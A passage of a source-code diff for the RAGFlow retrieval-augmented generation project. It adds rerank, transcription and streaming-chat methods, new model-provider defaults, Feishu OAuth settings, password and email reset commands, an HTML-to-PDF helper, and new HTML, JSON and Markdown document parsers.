+            database_logger.error(
+                "Can't update token usage for {}/RERANK".format(self.tenant_id))
+        return sim, used_tokens
+
     def describe(self, image, max_tokens=300):
         txt, used_tokens = self.mdl.describe(image, max_tokens)
         if not TenantLLMService.increase_usage(
@@ -170,10 +215,28 @@ class LLMBundle(object):
                 "Can't update token usage for {}/IMAGE2TEXT".format(self.tenant_id))
         return txt
 
+    def transcription(self, audio):
+        txt, used_tokens = self.mdl.transcription(audio)
+        if not TenantLLMService.increase_usage(
+                self.tenant_id, self.llm_type, used_tokens):
+            database_logger.error(
+                "Can't update token usage for {}/SEQUENCE2TXT".format(self.tenant_id))
+        return txt
+
     def chat(self, system, history, gen_conf):
         txt, used_tokens = self.mdl.chat(system, history, gen_conf)
-        if TenantLLMService.increase_usage(
+        if not TenantLLMService.increase_usage(
                 self.tenant_id, self.llm_type, used_tokens, self.llm_name):
             database_logger.error(
                 "Can't update token usage for {}/CHAT".format(self.tenant_id))
         return txt
+
+    def chat_streamly(self, system, history, gen_conf):
+        for txt in self.mdl.chat_streamly(system, history, gen_conf):
+            if isinstance(txt, int):
+                if not TenantLLMService.increase_usage(
+                        self.tenant_id, self.llm_type, txt, self.llm_name):
+                    database_logger.error(
+                        "Can't update token usage for {}/CHAT".format(self.tenant_id))
+                return
+            yield txt

api/db/services/task_service.py

@@ -13,6 +13,7 @@
 #  See the License for the specific language governing permissions and
 #  limitations under the License.
 #
+import os
 import random
 
 from api.db.db_utils import bulk_insert_into_db
@@ -53,6 +54,7 @@ class TaskService(CommonService):
             Knowledgebase.embd_id,
             Tenant.img2txt_id,
             Tenant.asr_id,
+            Tenant.llm_id,
             cls.model.update_time]
         docs = cls.model.select(*fields) \
             .join(Document, on=(cls.model.doc_id == Document.id)) \
@@ -96,11 +98,20 @@ class TaskService(CommonService):
             return doc.run == TaskStatus.CANCEL.value or doc.progress < 0
         except Exception as e:
             pass
-        return True
+        return False
 
     @classmethod
     @DB.connection_context()
     def update_progress(cls, id, info):
+        if os.environ.get("MACOS"):
+            if info["progress_msg"]:
+                cls.model.update(progress_msg=cls.model.progress_msg + "\n" + info["progress_msg"]).where(
+                    cls.model.id == id).execute()
+            if "progress" in info:
+                cls.model.update(progress=info["progress"]).where(
+                    cls.model.id == id).execute()
+            return
+
         with DB.lock("update_progress", -1):
             if info["progress_msg"]:
                 cls.model.update(progress_msg=cls.model.progress_msg + "\n" + info["progress_msg"]).where(
@@ -128,6 +139,8 @@ def queue_tasks(doc, bucket, name):
             page_size = doc["parser_config"].get("task_page_size", 22)
         if doc["parser_id"] == "one":
             page_size = 1000000000
+        if doc["parser_id"] == "knowledge_graph":
+            page_size = 1000000000
         if not do_layout:
             page_size = 1000000000
         page_ranges = doc["parser_config"].get("pages")
@@ -159,4 +172,4 @@ def queue_tasks(doc, bucket, name):
     DocumentService.begin2parse(doc["id"])
 
     for t in tsks:
-        REDIS_CONN.queue_product(SVR_QUEUE_NAME, message=t)
+        assert REDIS_CONN.queue_product(SVR_QUEUE_NAME, message=t), "Can't access Redis. Please check the Redis' status."

api/db/services/user_service.py

@@ -93,6 +93,7 @@ class TenantService(CommonService):
             cls.model.name,
             cls.model.llm_id,
             cls.model.embd_id,
+            cls.model.rerank_id,
             cls.model.asr_id,
             cls.model.img2txt_id,
             cls.model.parser_ids,

api/settings.py

@@ -34,6 +34,7 @@ chat_logger = getLogger("chat")
 
 from rag.utils.es_conn import ELASTICSEARCH
 from rag.nlp import search
+from graphrag import search as kg_search
 from api.utils import get_base_config, decrypt_database_config
 
 API_VERSION = "v1"
@@ -69,6 +70,12 @@ default_llm = {
         "image2text_model": "gpt-4-vision-preview",
         "asr_model": "whisper-1",
     },
+    "Azure-OpenAI": {
+        "chat_model": "azure-gpt-35-turbo",
+        "embedding_model": "azure-text-embedding-ada-002",
+        "image2text_model": "azure-gpt-4-vision-preview",
+        "asr_model": "azure-whisper-1",
+    },
     "ZHIPU-AI": {
         "chat_model": "glm-3-turbo",
         "embedding_model": "embedding-2",
@@ -86,6 +93,25 @@ default_llm = {
         "embedding_model": "",
         "image2text_model": "",
         "asr_model": "",
+    },
+    "DeepSeek": {
+        "chat_model": "deepseek-chat",
+        "embedding_model": "",
+        "image2text_model": "",
+        "asr_model": "",
+    },
+    "VolcEngine": {
+        "chat_model": "",
+        "embedding_model": "",
+        "image2text_model": "",
+        "asr_model": "",
+    },
+    "BAAI": {
+        "chat_model": "",
+        "embedding_model": "BAAI/bge-large-zh-v1.5",
+        "image2text_model": "",
+        "asr_model": "",
+        "rerank_model": "BAAI/bge-reranker-v2-m3",
     }
 }
 LLM = get_base_config("user_default_llm", {})
@@ -98,14 +124,15 @@ if LLM_FACTORY not in default_llm:
         f"LLM factory {LLM_FACTORY} has not supported yet, switch to 'Tongyi-Qianwen/QWen' automatically, and please check the API_KEY in service_conf.yaml.")
     LLM_FACTORY = "Tongyi-Qianwen"
 CHAT_MDL = default_llm[LLM_FACTORY]["chat_model"]
-EMBEDDING_MDL = default_llm[LLM_FACTORY]["embedding_model"]
+EMBEDDING_MDL = default_llm["BAAI"]["embedding_model"]
+RERANK_MDL = default_llm["BAAI"]["rerank_model"]
 ASR_MDL = default_llm[LLM_FACTORY]["asr_model"]
 IMAGE2TEXT_MDL = default_llm[LLM_FACTORY]["image2text_model"]
 
 API_KEY = LLM.get("api_key", "")
 PARSERS = LLM.get(
     "parsers",
-    "naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One")
+    "naive:General,qa:Q&A,resume:Resume,manual:Manual,table:Table,paper:Paper,book:Book,laws:Laws,presentation:Presentation,picture:Picture,one:One,audio:Audio,knowledge_graph:Knowledge Graph")
 
 # distribution
 DEPENDENT_DISTRIBUTION = get_base_config("dependent_distribution", False)
@@ -152,6 +179,7 @@ CLIENT_AUTHENTICATION = AUTHENTICATION_CONF.get(
         "switch", False)
 HTTP_APP_KEY = AUTHENTICATION_CONF.get("client", {}).get("http_app_key")
 GITHUB_OAUTH = get_base_config("oauth", {}).get("github")
+FEISHU_OAUTH = get_base_config("oauth", {}).get("feishu")
 WECHAT_OAUTH = get_base_config("oauth", {}).get("wechat")
 
 # site
@@ -177,6 +205,7 @@ PRIVILEGE_COMMAND_WHITELIST = []
 CHECK_NODES_IDENTITY = False
 
 retrievaler = search.Dealer(ELASTICSEARCH)
+kg_retrievaler = kg_search.KGSearch(ELASTICSEARCH)
 
 
 class CustomEnum(Enum):
@@ -218,4 +247,5 @@ class RetCode(IntEnum, CustomEnum):
     RUNNING = 106
     PERMISSION_ERROR = 108
     AUTHENTICATION_ERROR = 109
+    UNAUTHORIZED = 401
     SERVER_ERROR = 500

api/utils/api_utils.py

@@ -25,7 +25,6 @@ from flask import (
 from werkzeug.http import HTTP_STATUS_CODES
 
 from api.utils import json_dumps
-from api.versions import get_rag_version
 from api.settings import RetCode
 from api.settings import (
     REQUEST_MAX_WAIT_SEC, REQUEST_WAIT_SEC,
@@ -39,7 +38,6 @@ from base64 import b64encode
 from hmac import HMAC
 from urllib.parse import quote, urlencode
 
-
 requests.models.complexjson.dumps = functools.partial(
     json.dumps, cls=CustomJSONEncoder)
 
@@ -84,9 +82,6 @@ def request(**kwargs):
     return sess.send(prepped, stream=stream, timeout=timeout)
 
 
-rag_version = get_rag_version() or ''
-
-
 def get_exponential_backoff_interval(retries, full_jitter=False):
     """Calculate the exponential backoff wait time."""
     # Will be zero if factor equals 0
@@ -149,7 +144,7 @@ def server_error_response(e):
     if len(e.args) > 1:
         return get_json_result(
             retcode=RetCode.EXCEPTION_ERROR, retmsg=repr(e.args[0]), data=e.args[1])
-    if repr(e).find("index_not_found_exception") >=0:
+    if repr(e).find("index_not_found_exception") >= 0:
         return get_json_result(retcode=RetCode.EXCEPTION_ERROR, retmsg="No chunk found, please upload file and parse it.")
 
     return get_json_result(retcode=RetCode.EXCEPTION_ERROR, retmsg=repr(e))
@@ -239,3 +234,36 @@ def cors_reponse(retcode=RetCode.SUCCESS,
     response.headers["Access-Control-Allow-Headers"] = "*"
     response.headers["Access-Control-Expose-Headers"] = "Authorization"
     return response
+
+def construct_result(code=RetCode.DATA_ERROR, message='data is missing'):
+    import re
+    result_dict = {"code": code, "message": re.sub(r"rag", "seceum", message, flags=re.IGNORECASE)}
+    response = {}
+    for key, value in result_dict.items():
+        if value is None and key != "code":
+            continue
+        else:
+            response[key] = value
+    return jsonify(response)
+
+
+def construct_json_result(code=RetCode.SUCCESS, message='success', data=None):
+    if data is None:
+        return jsonify({"code": code, "message": message})
+    else:
+        return jsonify({"code": code, "message": message, "data": data})
+
+
+def construct_error_response(e):
+    stat_logger.exception(e)
+    try:
+        if e.code == 401:
+            return construct_json_result(code=RetCode.UNAUTHORIZED, message=repr(e))
+    except BaseException:
+        pass
+    if len(e.args) > 1:
+        return construct_json_result(code=RetCode.EXCEPTION_ERROR, message=repr(e.args[0]), data=e.args[1])
+    if repr(e).find("index_not_found_exception") >=0:
+        return construct_json_result(code=RetCode.EXCEPTION_ERROR, message="No chunk found, please upload file and parse it.")
+
+    return construct_json_result(code=RetCode.EXCEPTION_ERROR, message=repr(e))

api/utils/commands.py

@@ -0,0 +1,78 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import base64
+import click
+import re
+
+from flask import Flask
+from werkzeug.security import generate_password_hash
+
+from api.db.services import UserService
+
+
+@click.command('reset-password', help='Reset the account password.')
+@click.option('--email', prompt=True, help='The email address of the account whose password you need to reset')
+@click.option('--new-password', prompt=True, help='the new password.')
+@click.option('--password-confirm', prompt=True, help='the new password confirm.')
+def reset_password(email, new_password, password_confirm):
+    if str(new_password).strip() != str(password_confirm).strip():
+        click.echo(click.style('sorry. The two passwords do not match.', fg='red'))
+        return
+    user = UserService.query(email=email)
+    if not user:
+        click.echo(click.style('sorry. The Email is not registered!.', fg='red'))
+        return
+    encode_password = base64.b64encode(new_password.encode('utf-8')).decode('utf-8')
+    password_hash = generate_password_hash(encode_password)
+    user_dict = {
+        'password': password_hash
+    }
+    UserService.update_user(user[0].id,user_dict)
+    click.echo(click.style('Congratulations! Password has been reset.', fg='green'))
+
+
+@click.command('reset-email', help='Reset the account email.')
+@click.option('--email', prompt=True, help='The old email address of the account whose email you need to reset')
+@click.option('--new-email', prompt=True, help='the new email.')
+@click.option('--email-confirm', prompt=True, help='the new email confirm.')
+def reset_email(email, new_email, email_confirm):
+    if str(new_email).strip() != str(email_confirm).strip():
+        click.echo(click.style('Sorry, new email and confirm email do not match.', fg='red'))
+        return
+    if str(new_email).strip() == str(email).strip():
+        click.echo(click.style('Sorry, new email and old email are the same.', fg='red'))
+        return
+    user = UserService.query(email=email)
+    if not user:
+        click.echo(click.style('sorry. the account: [{}] not exist .'.format(email), fg='red'))
+        return
+    if not re.match(r"^[\w\._-]+@([\w_-]+\.)+[\w-]{2,4}$", new_email):
+        click.echo(click.style('sorry. {} is not a valid email. '.format(new_email), fg='red'))
+        return
+    new_user = UserService.query(email=new_email)
+    if new_user:
+        click.echo(click.style('sorry. the account: [{}] is exist .'.format(new_email), fg='red'))
+        return
+    user_dict = {
+        'email': new_email
+    }
+    UserService.update_user(user[0].id,user_dict)
+    click.echo(click.style('Congratulations!, email has been reset.', fg='green'))
+
+def register_commands(app: Flask):
+    app.cli.add_command(reset_password)
+    app.cli.add_command(reset_email)

api/utils/file_utils.py

@@ -156,7 +156,7 @@ def filename_type(filename):
         return FileType.PDF.value
 
     if re.match(
-            r".*\.(doc|docx|ppt|pptx|yml|xml|htm|json|csv|txt|ini|xls|xlsx|wps|rtf|hlp|pages|numbers|key|md)$", filename):
+             r".*\.(doc|docx|ppt|pptx|yml|xml|htm|json|csv|txt|ini|xls|xlsx|wps|rtf|hlp|pages|numbers|key|md|py|js|java|c|cpp|h|php|go|ts|sh|cs|kt|html)$", filename):
         return FileType.DOC.value
 
     if re.match(
@@ -174,7 +174,7 @@ def thumbnail(filename, blob):
     if re.match(r".*\.pdf$", filename):
         pdf = pdfplumber.open(BytesIO(blob))
         buffered = BytesIO()
-        pdf.pages[0].to_image().annotated.save(buffered, format="png")
+        pdf.pages[0].to_image(resolution=32).annotated.save(buffered, format="png")
         return "data:image/png;base64," + \
             base64.b64encode(buffered.getvalue()).decode("utf-8")
 

api/utils/t_crypt.py

@@ -11,10 +11,11 @@ def crypt(line):
         file_utils.get_project_base_directory(),
         "conf",
         "public.pem")
-    rsa_key = RSA.importKey(open(file_path).read())
+    rsa_key = RSA.importKey(open(file_path).read(),"Welcome")
     cipher = Cipher_pkcs1_v1_5.new(rsa_key)
-    return base64.b64encode(cipher.encrypt(
-        line.encode('utf-8'))).decode("utf-8")
+    password_base64 = base64.b64encode(line.encode('utf-8')).decode("utf-8")
+    encrypted_password = cipher.encrypt(password_base64.encode())
+    return base64.b64encode(encrypted_password).decode('utf-8')
 
 
 if __name__ == "__main__":

api/utils/web_utils.py

@@ -0,0 +1,80 @@
+import re
+import json
+import base64
+
+from selenium import webdriver
+from selenium.webdriver.chrome.options import Options
+from selenium.webdriver.chrome.service import Service
+from selenium.common.exceptions import TimeoutException
+from selenium.webdriver.support.ui import WebDriverWait
+from selenium.webdriver.support.expected_conditions import staleness_of
+from webdriver_manager.chrome import ChromeDriverManager
+from selenium.webdriver.common.by import By
+
+
+def html2pdf(
+        source: str,
+        timeout: int = 2,
+        install_driver: bool = True,
+        print_options: dict = {},
+):
+    result = __get_pdf_from_html(source, timeout, install_driver, print_options)
+    return result
+
+
+def __send_devtools(driver, cmd, params={}):
+    resource = "/session/%s/chromium/send_command_and_get_result" % driver.session_id
+    url = driver.command_executor._url + resource
+    body = json.dumps({"cmd": cmd, "params": params})
+    response = driver.command_executor._request("POST", url, body)
+
+    if not response:
+        raise Exception(response.get("value"))
+
+    return response.get("value")
+
+
+def __get_pdf_from_html(
+        path: str,
+        timeout: int,
+        install_driver: bool,
+        print_options: dict
+):
+    webdriver_options = Options()
+    webdriver_prefs = {}
+    webdriver_options.add_argument("--headless")
+    webdriver_options.add_argument("--disable-gpu")
+    webdriver_options.add_argument("--no-sandbox")
+    webdriver_options.add_argument("--disable-dev-shm-usage")
+    webdriver_options.experimental_options["prefs"] = webdriver_prefs
+
+    webdriver_prefs["profile.default_content_settings"] = {"images": 2}
+
+    if install_driver:
+        service = Service(ChromeDriverManager().install())
+        driver = webdriver.Chrome(service=service, options=webdriver_options)
+    else:
+        driver = webdriver.Chrome(options=webdriver_options)
+
+    driver.get(path)
+
+    try:
+        WebDriverWait(driver, timeout).until(
+            staleness_of(driver.find_element(by=By.TAG_NAME, value="html"))
+        )
+    except TimeoutException:
+        calculated_print_options = {
+            "landscape": False,
+            "displayHeaderFooter": False,
+            "printBackground": True,
+            "preferCSSPageSize": True,
+        }
+        calculated_print_options.update(print_options)
+        result = __send_devtools(
+            driver, "Page.printToPDF", calculated_print_options)
+        driver.quit()
+        return base64.b64decode(result["data"])
+
+
+def is_valid_url(url: str) -> bool:
+    return bool(re.match(r"(https?|ftp|file)://[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]", url))

api/versions.py

@@ -14,17 +14,15 @@
 #  limitations under the License.
 #
 import os
-
 import dotenv
 import typing
-
 from api.utils.file_utils import get_project_base_directory
 
 
 def get_versions() -> typing.Mapping[str, typing.Any]:
-    return dotenv.dotenv_values(
-        dotenv_path=os.path.join(get_project_base_directory(), "rag.env")
-    )
+    dotenv.load_dotenv(dotenv.find_dotenv())
+    return dotenv.dotenv_values()
+
 
 def get_rag_version() -> typing.Optional[str]:
-    return get_versions().get("RAG")
+    return get_versions().get("RAGFLOW_VERSION", "dev")

conf/service_conf.yaml

@@ -15,6 +15,8 @@ minio:
   host: 'minio:9000'
 es:
   hosts: 'http://es01:9200'
+  username: 'elastic'
+  password: 'infini_rag_flow'
 redis:
   db: 1
   password: 'infini_rag_flow'
@@ -28,6 +30,12 @@ oauth:
     client_id: xxxxxxxxxxxxxxxxxxxxxxxxx
     secret_key: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
     url: https://github.com/login/oauth/access_token
+  feishu:
+    app_id: cli_xxxxxxxxxxxxxxxxxxx
+    app_secret: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
+    app_access_token_url: https://open.feishu.cn/open-apis/auth/v3/app_access_token/internal
+    user_access_token_url: https://open.feishu.cn/open-apis/authen/v1/oidc/access_token
+    grant_type: 'authorization_code'
 authentication:
   client:
     switch: false
@@ -38,4 +46,4 @@ authentication:
 permission:
   switch: false
   component: false
-  dataset: false
+  dataset: false

deepdoc/parser/__init__.py

@@ -1,6 +1,20 @@
-
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
 
 from .pdf_parser import RAGFlowPdfParser as PdfParser, PlainParser
 from .docx_parser import RAGFlowDocxParser as DocxParser
 from .excel_parser import RAGFlowExcelParser as ExcelParser
 from .ppt_parser import RAGFlowPptParser as PptParser
+from .html_parser import RAGFlowHtmlParser as HtmlParser
+from .json_parser import RAGFlowJsonParser as JsonParser
+from .markdown_parser import RAGFlowMarkdownParser as MarkdownParser

deepdoc/parser/docx_parser.py

@@ -1,4 +1,16 @@
-# -*- coding: utf-8 -*-
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
 from docx import Document
 import re
 import pandas as pd
@@ -101,19 +113,24 @@ class RAGFlowDocxParser:
     def __call__(self, fnm, from_page=0, to_page=100000):
         self.doc = Document(fnm) if isinstance(
             fnm, str) else Document(BytesIO(fnm))
-        pn = 0
-        secs = []
+        pn = 0 # parsed page
+        secs = [] # parsed contents
         for p in self.doc.paragraphs:
             if pn > to_page:
                 break
-            if from_page <= pn < to_page and p.text.strip():
-                secs.append((p.text, p.style.name))
+
+            runs_within_single_paragraph = [] # save runs within the range of pages
             for run in p.runs:
+                if pn > to_page:
+                    break
+                if from_page <= pn < to_page and p.text.strip():
+                    runs_within_single_paragraph.append(run.text) # append run.text first
+
+                # wrap page break checker into a static method
                 if 'lastRenderedPageBreak' in run._element.xml:
                     pn += 1
-                    continue
-                if 'w:br' in run._element.xml and 'type="page"' in run._element.xml:
-                    pn += 1
+
+            secs.append(("".join(runs_within_single_paragraph), p.style.name)) # then concat run.text as part of the paragraph
 
         tbls = [self.__extract_table_content(tb) for tb in self.doc.tables]
         return secs, tbls

deepdoc/parser/excel_parser.py

@@ -1,4 +1,16 @@
-# -*- coding: utf-8 -*-
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
 from openpyxl import load_workbook
 import sys
 from io import BytesIO
@@ -7,30 +19,39 @@ from rag.nlp import find_codec
 
 
 class RAGFlowExcelParser:
-    def html(self, fnm):
+    def html(self, fnm, chunk_rows=256):
         if isinstance(fnm, str):
             wb = load_workbook(fnm)
         else:
             wb = load_workbook(BytesIO(fnm))
-        tb = ""
+
+        tb_chunks = []
         for sheetname in wb.sheetnames:
             ws = wb[sheetname]
             rows = list(ws.rows)
-            if not rows:continue
-            tb += f"<table><caption>{sheetname}</caption><tr>"
+            if not rows: continue
+
+            tb_rows_0 = "<tr>"
             for t in list(rows[0]):
-                tb += f"<th>{t.value}</th>"
-            tb += "</tr>"
-            for r in list(rows[1:]):
-                tb += "<tr>"
-                for i, c in enumerate(r):
-                    if c.value is None:
-                        tb += "<td></td>"
-                    else:
-                        tb += f"<td>{c.value}</td>"
-                tb += "</tr>"
-            tb += "</table>\n"
-        return tb
+                tb_rows_0 += f"<th>{t.value}</th>"
+            tb_rows_0 += "</tr>"
+
+            for chunk_i in range((len(rows) - 1) // chunk_rows + 1):
+                tb = ""
+                tb += f"<table><caption>{sheetname}</caption>"
+                tb += tb_rows_0
+                for r in list(rows[1 + chunk_i * chunk_rows:1 + (chunk_i + 1) * chunk_rows]):
+                    tb += "<tr>"
+                    for i, c in enumerate(r):
+                        if c.value is None:
+                            tb += "<td></td>"
+                        else:
+                            tb += f"<td>{c.value}</td>"
+                    tb += "</tr>"
+                tb += "</table>\n"
+                tb_chunks.append(tb)
+
+        return tb_chunks
 
     def __call__(self, fnm):
         if isinstance(fnm, str):

deepdoc/parser/html_parser.py

@@ -0,0 +1,39 @@
+# -*- coding: utf-8 -*-
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from rag.nlp import find_codec
+import readability
+import html_text
+import chardet
+
+def get_encoding(file):
+    with open(file,'rb') as f:
+        tmp = chardet.detect(f.read())
+        return tmp['encoding']
+
+class RAGFlowHtmlParser:
+    def __call__(self, fnm, binary=None):
+        txt = ""
+        if binary:
+            encoding = find_codec(binary)
+            txt = binary.decode(encoding, errors="ignore")
+        else:
+            with open(fnm, "r",encoding=get_encoding(fnm)) as f:
+                txt = f.read()
+
+        html_doc = readability.Document(txt)
+        title = html_doc.title()
+        content = html_text.extract_text(html_doc.summary(html_partial=True))
+        txt = f'{title}\n{content}'
+        sections = txt.split("\n")
+        return sections

deepdoc/parser/json_parser.py

@@ -0,0 +1,116 @@
+# -*- coding: utf-8 -*-
+# The following documents are mainly referenced, and only adaptation modifications have been made
+# from https://github.com/langchain-ai/langchain/blob/master/libs/text-splitters/langchain_text_splitters/json.py
+
+import json
+from typing import Any, Dict, List, Optional
+from rag.nlp import find_codec
+
+class RAGFlowJsonParser:
+    def __init__(
+        self, max_chunk_size: int = 2000, min_chunk_size: Optional[int] = None
+    ):
+        super().__init__()
+        self.max_chunk_size = max_chunk_size * 2
+        self.min_chunk_size = (
+            min_chunk_size
+            if min_chunk_size is not None
+            else max(max_chunk_size - 200, 50)
+        )
+
+    def __call__(self, binary):
+        encoding = find_codec(binary)
+        txt = binary.decode(encoding, errors="ignore")
+        json_data = json.loads(txt)
+        chunks = self.split_json(json_data, True)   
+        sections = [json.dumps(l, ensure_ascii=False) for l in chunks if l]
+        return sections
+
+    @staticmethod
+    def _json_size(data: Dict) -> int:
+        """Calculate the size of the serialized JSON object."""
+        return len(json.dumps(data, ensure_ascii=False))
+
+    @staticmethod
+    def _set_nested_dict(d: Dict, path: List[str], value: Any) -> None:
+        """Set a value in a nested dictionary based on the given path."""
+        for key in path[:-1]:
+            d = d.setdefault(key, {})
+        d[path[-1]] = value
+
+    def _list_to_dict_preprocessing(self, data: Any) -> Any:
+        if isinstance(data, dict):
+            # Process each key-value pair in the dictionary
+            return {k: self._list_to_dict_preprocessing(v) for k, v in data.items()}
+        elif isinstance(data, list):
+            # Convert the list to a dictionary with index-based keys
+            return {
+                str(i): self._list_to_dict_preprocessing(item)
+                for i, item in enumerate(data)
+            }
+        else:
+            # Base case: the item is neither a dict nor a list, so return it unchanged
+            return data
+        
+    def _json_split(
+        self,
+        data: Dict[str, Any],
+        current_path: Optional[List[str]] = None,
+        chunks: Optional[List[Dict]] = None,
+    ) -> List[Dict]:
+        """
+        Split json into maximum size dictionaries while preserving structure.
+        """
+        current_path = current_path or []
+        chunks = chunks or [{}]
+        if isinstance(data, dict):
+            for key, value in data.items():
+                new_path = current_path + [key]
+                chunk_size = self._json_size(chunks[-1])
+                size = self._json_size({key: value})
+                remaining = self.max_chunk_size - chunk_size
+
+                if size < remaining:
+                    # Add item to current chunk
+                    self._set_nested_dict(chunks[-1], new_path, value)
+                else:
+                    if chunk_size >= self.min_chunk_size:
+                        # Chunk is big enough, start a new chunk
+                        chunks.append({})
+
+                    # Iterate
+                    self._json_split(value, new_path, chunks)
+        else:
+            # handle single item
+            self._set_nested_dict(chunks[-1], current_path, data)
+        return chunks
+
+    def split_json(
+        self,
+        json_data: Dict[str, Any],
+        convert_lists: bool = False,
+    ) -> List[Dict]:
+        """Splits JSON into a list of JSON chunks"""
+
+        if convert_lists:
+            chunks = self._json_split(self._list_to_dict_preprocessing(json_data))
+        else:
+            chunks = self._json_split(json_data)
+
+        # Remove the last chunk if it's empty
+        if not chunks[-1]:
+            chunks.pop()
+        return chunks
+
+    def split_text(
+        self,
+        json_data: Dict[str, Any],
+        convert_lists: bool = False,
+        ensure_ascii: bool = True,
+    ) -> List[str]:
+        """Splits JSON into a list of JSON formatted strings"""
+
+        chunks = self.split_json(json_data=json_data, convert_lists=convert_lists)
+
+        # Convert to string
+        return [json.dumps(chunk, ensure_ascii=ensure_ascii) for chunk in chunks]

deepdoc/parser/markdown_parser.py

@@ -0,0 +1,44 @@
+# -*- coding: utf-8 -*-
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import re
+
+class RAGFlowMarkdownParser:
+    def __init__(self, chunk_token_num=128):
+        self.chunk_token_num = int(chunk_token_num)
+
+    def extract_tables_and_remainder(self, markdown_text):
+        # Standard Markdown table
+        table_pattern = re.compile(
+            r'''
+            (?:\n|^)                     
+            (?:\|.*?\|.*?\|.*?\n)        
+            (?:\|(?:\s*[:-]+[-| :]*\s*)\|.*?\n) 
+            (?:\|.*?\|.*?\|.*?\n)+
+            ''', re.VERBOSE)
+        tables = table_pattern.findall(markdown_text)
+        remainder = table_pattern.sub('', markdown_text)
+
+        # Borderless Markdown table
+        no_border_table_pattern = re.compile(
+            r'''
+            (?:\n|^)                 
+            (?:\S.*?\|.*?\n)
+            (?:(?:\s*[:-]+[-| :]*\s*).*?\n)
+            (?:\S.*?\|.*?\n)+
+            ''', re.VERBOSE)
+        no_border_tables = no_border_table_pattern.findall(remainder)
+        tables.extend(no_border_tables)
+        remainder = no_border_table_pattern.sub('', remainder)
+
+        return remainder, tables

deepdoc/parser/pdf_parser.py

@@ -1,4 +1,16 @@
-# -*- coding: utf-8 -*-
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
 import os
 import random
 
@@ -11,7 +23,7 @@ import logging
 from PIL import Image, ImageDraw
 import numpy as np
 from timeit import default_timer as timer
-from PyPDF2 import PdfReader as pdf2_read
+from pypdf import PdfReader as pdf2_read
 
 from api.utils.file_utils import get_project_base_directory
 from deepdoc.vision import OCR, Recognizer, LayoutRecognizer, TableStructureRecognizer
@@ -273,10 +285,10 @@ class RAGFlowPdfParser:
               "page_number": pagenum} for b, t in bxs if b[0][0] <= b[1][0] and b[0][1] <= b[-1][1]],
             self.mean_height[-1] / 3
         )
-
+        
         # merge chars in the same rect
-        for c in Recognizer.sort_X_firstly(
-                chars, self.mean_width[pagenum - 1] // 4):
+        for c in Recognizer.sort_Y_firstly(
+                chars, self.mean_height[pagenum - 1] // 4):
             ii = Recognizer.find_overlapped(c, bxs)
             if ii is None:
                 self.lefted_chars.append(c)
@@ -392,11 +404,11 @@ class RAGFlowPdfParser:
                 b["text"].strip()[-1] in ",;:'\"，、‘“；：-",
                 len(b["text"].strip()) > 1 and b["text"].strip(
                 )[-2] in ",;:'\"，‘“、；：",
-                b["text"].strip()[0] in "。；？！?”）),，、：",
+                b_["text"].strip() and b_["text"].strip()[0] in "。；？！?”）),，、：",
             ]
             # features for not concating
             feats = [
-                b.get("layoutno", 0) != b.get("layoutno", 0),
+                b.get("layoutno", 0) != b_.get("layoutno", 0),
                 b["text"].strip()[-1] in "。？！?",
                 self.is_english and b["text"].strip()[-1] in ".!?",
                 b["page_number"] == b_["page_number"] and b_["top"] -
